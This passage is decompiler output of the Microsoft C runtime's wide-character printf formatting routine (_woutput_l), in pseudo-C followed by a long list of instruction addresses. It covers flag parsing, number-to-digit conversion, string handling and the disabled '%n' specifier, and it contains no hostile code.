																				 *(__ebp - 0x20) = L0041CB30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__edx =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__edx =  *(__ebp + 0x14);
																			__eax =  *(__edx - 8);
																			__ecx =  *(__edx - 4);
																			 *(__ebp - 0x490) =  *(__edx - 8);
																			 *(__ebp - 0x48c) =  *(__edx - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041EA40(__ebp - 0x40));
																			__edx =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__eax =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__ecx =  *(__ebp - 0x454);
																			_push( *(__ebp - 0x454));
																			__edx =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__eax =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__ecx = __ebp - 0x490;
																			_push(__ebp - 0x490);
																			__edx =  *0x43de88;
																			E00427990( *0x43de88) =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041EA40(__ebp - 0x40));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx =  *0x43de94;
																					E00427990( *0x43de94) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041EA40(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x43de90;
																					E00427990( *0x43de90) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *(__ebp - 4);
																			__edx =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__ecx =  *(__ebp - 4);
																				__ecx =  *(__ebp - 4) + 1;
																				__eflags = __ecx;
																				 *(__ebp - 4) = __ecx;
																			}
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
																			do {
																				L178:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L203;
																				}
																				goto L179;
																			} while ( *(__ebp - 0x4dc) > 0x37);
																			goto L57;
																		}
																		L115:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																		if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																			goto L117;
																		}
																		L116:
																		 *(__ebp - 0x30) = 1;
																		goto L119;
																	}
																	L113:
																	 *(__ebp - 0x30) = 6;
																	goto L119;
																case 6:
																	L60:
																	 *(__ebp - 0xc) = 1;
																	__ebp + 0x14 = E00420C00(__ebp + 0x14);
																	 *(__ebp - 0x458) = __ax;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) & 0x00000020;
																	__eflags = __ecx;
																	if(__ecx == 0) {
																		__cx =  *(__ebp - 0x458);
																		 *(__ebp - 0x448) = __cx;
																	} else {
																		 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																		 *(__ebp - 0x46c) = __dl;
																		 *((char*)(__ebp - 0x46b)) = 0;
																		__ecx = __ebp - 0x40;
																		__eax = E0041EA40(__ebp - 0x40);
																		__ecx = __ebp - 0x40;
																		E0041EA40(__ebp - 0x40) =  *__eax;
																		__ecx =  *(__ebp - 0x448 + 0xac);
																		__edx = __ebp - 0x46c;
																		__eax = __ebp - 0x448;
																		__eax = E0042F0C0(__ebp - 0x448, __ebp - 0x46c,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																		__eflags = __eax;
																		if(__eax < 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x24) = 1;
																	while(1) {
																		L178:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L203;
																		}
																		goto L179;
																	}
																case 7:
																	L132:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 8) = 0xa;
																	L141:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																	__eflags =  *(__ebp - 0x10) & 0x00008000;
																	if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																		__eflags =  *(__ebp - 0x10) & 0x00001000;
																		if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					__eax = E00420C00(__ebp + 0x14);
																					__edx = 0;
																					__eflags = 0;
																					 *(__ebp - 0x4a0) = __eax;
																					 *(__ebp - 0x49c) = 0;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E00420C00(__ebp + 0x14);
																					asm("cdq");
																					 *(__ebp - 0x4a0) = __eax;
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					E00420C00(__ebp + 0x14) = __ax & 0x0000ffff;
																					asm("cdq");
																					 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																					 *(__ebp - 0x49c) = __edx;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E00420C00(__ebp + 0x14);
																					__ax = __eax;
																					asm("cdq");
																					 *(__ebp - 0x4a0) = __eax;
																					 *(__ebp - 0x49c) = __edx;
																				}
																			}
																		} else {
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
																		 *(__ebp - 0x49c) = __edx;
																	}
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																	__eflags =  *(__ebp - 0x10) & 0x00000040;
																	if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																		goto L158;
																	}
																case 8:
																	L97:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x480) = E00420C00(__ebp + 0x14);
																	__eax = E0042F010();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L107:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__ecx =  *(__ebp - 0x480);
																			__edx =  *(__ebp - 0x44c);
																			 *__ecx =  *(__ebp - 0x44c);
																		} else {
																			__edx =  *(__ebp - 0x480);
																			__ax =  *(__ebp - 0x44c);
																			 *( *(__ebp - 0x480)) = __ax;
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L178:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L203;
																			}
																			goto L179;
																		}
																	}
																	L98:
																	__ecx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x4e4) = 0;
																	} else {
																		 *(__ebp - 0x4e4) = 1;
																	}
																	__edx =  *(__ebp - 0x4e4);
																	 *(__ebp - 0x484) =  *(__ebp - 0x4e4);
																	__eflags =  *(__ebp - 0x484);
																	if( *(__ebp - 0x484) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041F590();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x484);
																	if( *(__ebp - 0x484) != 0) {
																		L106:
																		while(1) {
																			L178:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L203;
																			}
																			goto L179;
																		}
																	} else {
																		L105:
																		 *((intOrPtr*)(L0041F530(__ecx))) = 0x16;
																		__eax = E0041F2C0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x4c4) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041EA10(__ecx);
																		__eax =  *(__ebp - 0x4c4);
																		L207:
																		__eflags =  *(_t492 - 0x48) ^ _t492;
																		return E004242B0(_t463, _t472,  *(_t492 - 0x48) ^ _t492, _t485, _t490, _t491);
																	}
																case 9:
																	L139:
																	 *(__ebp - 8) = 8;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000200;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	while(1) {
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00420C00(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00420C00(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00420C00(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00420C00(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L158;
																		}
																		goto L154;
																	}
																case 0xa:
																	L134:
																	 *(__ebp - 0x30) = 8;
																	goto L135;
																case 0xb:
																	L75:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x4e0) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x4e0) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x4e0);
																	 *(__ebp - 0x478) =  *(__ebp - 0x4e0);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00420C00(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																	__eflags =  *(__ebp - 0x10) & 0x00000020;
																	if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																		L89:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__ecx =  *0x43de9c;
																			 *(__ebp - 4) =  *0x43de9c;
																		}
																		 *(__ebp - 0xc) = 1;
																		__edx =  *(__ebp - 4);
																		 *(__ebp - 0x47c) =  *(__ebp - 4);
																		while(1) {
																			L92:
																			__eax =  *(__ebp - 0x478);
																			__ecx =  *(__ebp - 0x478);
																			__ecx =  *(__ebp - 0x478) - 1;
																			 *(__ebp - 0x478) = __ecx;
																			__eflags =  *(__ebp - 0x478);
																			if( *(__ebp - 0x478) == 0) {
																				break;
																			}
																			L93:
																			__edx =  *(__ebp - 0x47c);
																			__eax =  *( *(__ebp - 0x47c)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x47c)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x47c)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L94:
																			 *(__ebp - 0x47c) =  *(__ebp - 0x47c) + 2;
																			 *(__ebp - 0x47c) =  *(__ebp - 0x47c) + 2;
																		}
																		L95:
																		__edx =  *(__ebp - 0x47c);
																		__edx =  *(__ebp - 0x47c) -  *(__ebp - 4);
																		__eflags = __edx;
																		 *(__ebp - 0x24) = __edx;
																		goto L96;
																	} else {
																		L79:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x43de98;
																			 *(__ebp - 4) =  *0x43de98;
																		}
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x474) = __ecx;
																		 *(__ebp - 0x24) = 0;
																		while(1) {
																			L83:
																			__eax =  *(__ebp - 0x24);
																			__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x478);
																			if( *(__ebp - 0x24) >=  *(__ebp - 0x478)) {
																				break;
																			}
																			L84:
																			__ecx =  *(__ebp - 0x474);
																			__edx =  *__ecx;
																			__eflags =  *__ecx;
																			if( *__ecx == 0) {
																				break;
																			}
																			L85:
																			__ecx = __ebp - 0x40;
																			E0041EA40(__ebp - 0x40) =  *(__ebp - 0x474);
																			__ecx =  *( *(__ebp - 0x474)) & 0x000000ff;
																			__eax = E0042F050( *( *(__ebp - 0x474)) & 0x000000ff,  *(__ebp - 0x474));
																			__eflags = __eax;
																			if(__eax != 0) {
																				__edx =  *(__ebp - 0x474);
																				__edx =  *(__ebp - 0x474) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x474) = __edx;
																			}
																			 *(__ebp - 0x474) =  *(__ebp - 0x474) + 1;
																			 *(__ebp - 0x474) =  *(__ebp - 0x474) + 1;
																			__edx =  *(__ebp - 0x24);
																			__edx =  *(__ebp - 0x24) + 1;
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																		}
																		L88:
																		L96:
																		while(1) {
																			L178:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L203;
																			}
																			goto L179;
																		}
																	}
																case 0xc:
																	L133:
																	 *(__ebp - 8) = 0xa;
																	while(1) {
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00420C00(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00420C00(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00420C00(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00420C00(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L158;
																		}
																		goto L154;
																	}
																case 0xd:
																	goto L0;
																case 0xe:
																	while(1) {
																		L178:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L203;
																		}
																		goto L179;
																	}
															}
														case 8:
															L15:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) = __ecx;
															goto L18;
														case 9:
															L16:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L18;
														case 0xa:
															L14:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
															goto L18;
														case 0xb:
															L13:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L18;
														case 0xc:
															L17:
															__eax =  *(__ebp - 0x10);
															__eax =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __eax;
															 *(__ebp - 0x10) = __eax;
															goto L18;
														case 0xd:
															L18:
															goto L205;
													}
												}
												L206:
												 *((intOrPtr*)(_t492 - 0x4c8)) =  *((intOrPtr*)(_t492 - 0x44c));
												E0041EA10(_t492 - 0x40);
												_t463 =  *((intOrPtr*)(_t492 - 0x4c8));
												goto L207;
											}
										}
										L175:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L177:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L178;
										}
										L176:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L178;
										}
										goto L177;
									}
									L171:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x4a4);
									__edx =  *(__ebp - 0x4a8);
									__eax = E0042F370( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
									 *(__ebp - 0x494) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x4a4);
									__ecx =  *(__ebp - 0x4a8);
									 *(__ebp - 0x4a8) = E0042F300( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x4a4) = __edx;
									__eflags =  *(__ebp - 0x494) - 0x39;
									if( *(__ebp - 0x494) > 0x39) {
										__edx =  *(__ebp - 0x494);
										__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
										__eflags = __edx;
										 *(__ebp - 0x494) = __edx;
									}
									__eax =  *(__ebp - 4);
									 *( *(__ebp - 4)) =  *(__ebp - 0x494);
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L169:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L171;
									}
									goto L170;
								}
							}
							L156:
							__eflags =  *(__ebp - 0x4a0);
							if( *(__ebp - 0x4a0) >= 0) {
								goto L158;
							}
							goto L157;
							L158:
							__ecx =  *(__ebp - 0x4a0);
							 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
							__edx =  *(__ebp - 0x49c);
							 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
							goto L159;
						}
					}
				}
			}

0x004204ba
0x004204ba
0x004204ba
0x004204ba
0x004204c4
0x004204c4
0x004204c4
0x004204ce
0x004204ce
0x004204d4
0x004204d6
0x004204db
0x004204e5
0x004204e5
0x004204e8
0x004204ec
0x004204ec
0x00420513
0x00420513
0x00420516
0x00420516
0x0042051b
0x0042053d
0x0042053d
0x00420543
0x00420565
0x00420565
0x00420568
0x004205af
0x004205af
0x004205b2
0x004205cf
0x004205d3
0x004205db
0x004205db
0x004205dd
0x004205e3
0x004205b4
0x004205b4
0x004205b8
0x004205c0
0x004205c1
0x004205c7
0x004205c7
0x0042056a
0x0042056d
0x0042056d
0x00420570
0x0042058e
0x0042059a
0x0042059d
0x0042059e
0x004205a4
0x00420572
0x00420572
0x00420576
0x0042057e
0x0042057f
0x00420580
0x00420586
0x00420586
0x004205aa
0x00420545
0x00420545
0x00420551
0x00420557
0x00420557
0x0042051d
0x0042051d
0x00420529
0x0042052f
0x0042052f
0x004205ec
0x004205ec
0x004205ef
0x00000000
0x00000000
0x004205f1
0x004205f1
0x004205f8
0x00000000
0x00000000
0x004205fa
0x004205fa
0x00420605
0x0042060b
0x0042060d
0x00420613
0x00420616
0x00420618
0x0042061e
0x00420627
0x0042062c
0x00420649
0x0042064c
0x0042064c
0x00420651
0x00420656
0x00420656
0x0042065c
0x0042065e
0x00420664
0x0042066a
0x0042066a
0x00420673
0x00420673
0x0042065c
0x00420679
0x0042067d
0x0042068b
0x0042068e
0x00420691
0x00420698
0x0042069a
0x0042069a
0x0042067f
0x0042067f
0x0042067f
0x004206a7
0x004206a7
0x004206ad
0x004206af
0x004206af
0x004206b6
0x004206bc
0x004206bf
0x004206bf
0x004206bf
0x004206c5
0x004206c8
0x004206cb
0x004206cd
0x00000000
0x00000000
0x004206cf
0x004206d5
0x004206d5
0x004206db
0x00420758
0x0042075e
0x00420761
0x00420764
0x00420767
0x0042076a
0x00420770
0x00420770
0x00420776
0x004207a1
0x004207a1
0x004207a1
0x004207a5
0x00000000
0x00000000
0x004207ab
0x004207ae
0x004207ae
0x004207b1
0x004207b6
0x004207b6
0x004207bb
0x004207d2
0x004207d2
0x004207d5
0x004207ec
0x004207ec
0x004207ef
0x004207f1
0x004207f6
0x004207fa
0x004207fa
0x004207d7
0x004207d7
0x004207dc
0x004207e0
0x004207e0
0x004207bd
0x004207bd
0x004207c2
0x004207c6
0x004207c6
0x004207bb
0x00420804
0x00420807
0x0042080a
0x00420813
0x00420813
0x00420816
0x00420818
0x0042081f
0x00420823
0x0042082c
0x00420831
0x00420834
0x0042083b
0x0042083f
0x00420843
0x0042084f
0x00420852
0x00420852
0x00420855
0x0042085a
0x0042085a
0x0042085d
0x0042085f
0x00420866
0x0042086a
0x00420873
0x00420878
0x0042085d
0x0042087b
0x0042087f
0x00420939
0x00420939
0x00420940
0x00420944
0x00420948
0x0042094c
0x00000000
0x00420885
0x00420885
0x00420885
0x00420889
0x00000000
0x00000000
0x0042088f
0x0042088f
0x00420892
0x00420898
0x0042089b
0x004208a1
0x004208a1
0x004208a1
0x004208ad
0x004208b0
0x004208b6
0x004208b8
0x00000000
0x00000000
0x004208ba
0x004208ba
0x004208bd
0x004208c3
0x004208cb
0x004208cd
0x004208d4
0x004208db
0x004208ea
0x004208f0
0x004208f7
0x00420905
0x00420905
0x0042090c
0x00420918
0x00420926
0x0042092c
0x00000000
0x0042092c
0x004208f9
0x004208f9
0x00000000
0x004208f9
0x00420937
0x00420954
0x00420954
0x0042095b
0x00420960
0x00420960
0x00420963
0x00420965
0x0042096c
0x00420979
0x0042097e
0x00420963
0x0042095b
0x00420981
0x00420981
0x00420985
0x00420989
0x0042098d
0x00420995
0x00420995
0x0042099c
0x0042099c
0x0041fbcb
0x0041fbdf
0x0041fbe4
0x00000000
0x0041fbf7
0x0041fc01
0x0041fc28
0x0041fc0f
0x0041fc20
0x0041fc20
0x0041fc01
0x0041fc32
0x0041fc38
0x0041fc55
0x0041fc61
0x0041fc6e
0x00000000
0x00000000
0x0041fc74
0x0041fc7a
0x00000000
0x0041fc81
0x0041fc81
0x0041fc9b
0x0041fca0
0x00000000
0x00000000
0x0041fca8
0x0041fca8
0x0041fcaf
0x0041fcb2
0x0041fcb5
0x0041fcb8
0x0041fcbb
0x0041fcbe
0x0041fcc1
0x0041fcc8
0x0041fccf
0x00000000
0x00000000
0x0041fcdb
0x0041fcdb
0x0041fce2
0x0041fcee
0x0041fcf1
0x0041fcf7
0x0041fcfe
0x00000000
0x00000000
0x0041fd00
0x0041fd00
0x0041fd06
0x0041fd0d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0041fd51
0x0041fd51
0x0041fd58
0x0041fd5b
0x0041fd85
0x0041fd88
0x0041fd88
0x0041fd8b
0x0041fd92
0x0041fd96
0x0041fd5d
0x0041fd5d
0x0041fd69
0x0041fd6c
0x0041fd70
0x0041fd72
0x0041fd75
0x0041fd75
0x0041fd78
0x0041fd7b
0x0041fd7e
0x0041fd80
0x0041fd80
0x0041fd83
0x0041fd99
0x00000000
0x00000000
0x0041fd9e
0x0041fd9e
0x00000000
0x00000000
0x0041fdaa
0x0041fdaa
0x0041fdb1
0x0041fdb4
0x0041fdd4
0x0041fdd7
0x0041fdd7
0x0041fdda
0x0041fde1
0x0041fde5
0x0041fdb6
0x0041fdb6
0x0041fdc2
0x0041fdc5
0x0041fdc9
0x0041fdcb
0x0041fdcb
0x0041fdd2
0x0041fde8
0x00000000
0x00000000
0x0041fded
0x0041fded
0x0041fdf4
0x0041fe00
0x0041fe03
0x0041fe09
0x0041fe10
0x0041ff23
0x00000000
0x0041ff23
0x0041fe16
0x0041fe16
0x0041fe1c
0x0041fe23
0x00000000
0x0041fe5a
0x0041fe5a
0x0041fe5d
0x0041fe60
0x0041fe63
0x0041fe8a
0x0041fe8a
0x0041fe8d
0x0041fe90
0x0041fe93
0x0041feb7
0x0041feb7
0x0041feba
0x0041febd
0x0041fec0
0x0041fef9
0x0041ff0a
0x00000000
0x0041ff0a
0x0041fec2
0x0041fec2
